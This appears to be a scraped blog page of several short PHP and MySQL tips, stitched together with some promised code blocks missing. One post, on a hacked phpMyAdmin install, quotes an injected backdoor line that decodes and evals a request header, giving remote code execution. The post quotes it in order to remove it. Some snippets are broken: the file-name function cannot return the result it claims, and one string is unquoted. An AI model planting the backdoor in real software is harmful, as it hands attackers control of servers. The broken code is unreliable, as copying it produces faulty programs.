Casting is a simple operation that can save many headaches. The code below show you how to cast a string into an float or integer with PHP.

Thank you microsoft for yet another bug that ruined some store processing code. There two bugs to look out for: not using a capital L, and not killing the process.

Example:

Bad code for internet explorer. To assure you are relocated and the page you are calling the header doesn’t magically reload itself and ruin your life:

A PHP Array of the States of North America, useful for database access when addresses are abbreviated

On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You’re getting hacked, but don’t be scared.

The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.

Here is the whole file:

To fix this issue, Shell into Ubuntu and Sudo up

Look for the line //*$cfg['Servers'][$i]['xxx'];$z=’bas’.'e64_dec’.'ode’;eval($z($_SERVER['HTTP_X_CODE']));exit;#’] = ‘yyy’;

comment it out with //

hit ctrl+x, press y, and lets reload apache

To avoid this problem:

1. Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
2. Use Htaccess passwords on the phpmyadmin directory

This code shows how to strip http, www, or any suffixes. The most efficient way is to toss an array at str_replace. If anyone write this will all the suffixes please post in comments!

function remove_http($url){
$remove = array(‘http://’,'https://’,'www.’,’.com’,’.org’,’.net’,’.co.uk’,’.name’,’.info’,’.cc’,’.biz’,’.us’,’.gb’,’.tt’);
$stripedUrl = str_replace($remove, ”, $url);
return strtolower($stripedUrl);
}

Example:

<? echo remove_http(“http://www.DesignCodeExecute.com”) ?>

Result:

designcodeexecute

This post teaches you how to set your MySQL search queries to be Case sensitive or case insensitive.

It’s all in the database collation. MySQL by default search case insensitive. In phpMyAdmin or or Putty change the Collation of your fields. Collations that are binary search case-sensitive. Collations that end with _ci like latin1_swedish_ci are case insensitive (ci is an acrynm for case insensitive.

To change your Collations quickly run this code in a loop:

ALTER TABLE tablename CONVERT TO CHARACTER SET latin1 COLLATE latin1_swedish_ci;

Striping the file extension is valuable on many levels.

<?php

$filename = foobar.exe
function returnFileName($fileName) {

return key(explode(“.”, $fileName));

}
// returns foobar

function returnFileExtension($fileName) {

return end(explode(“.”, $fileName));

}

// returns exe

?>

Result: foobar

Note: Spaces count, so count them!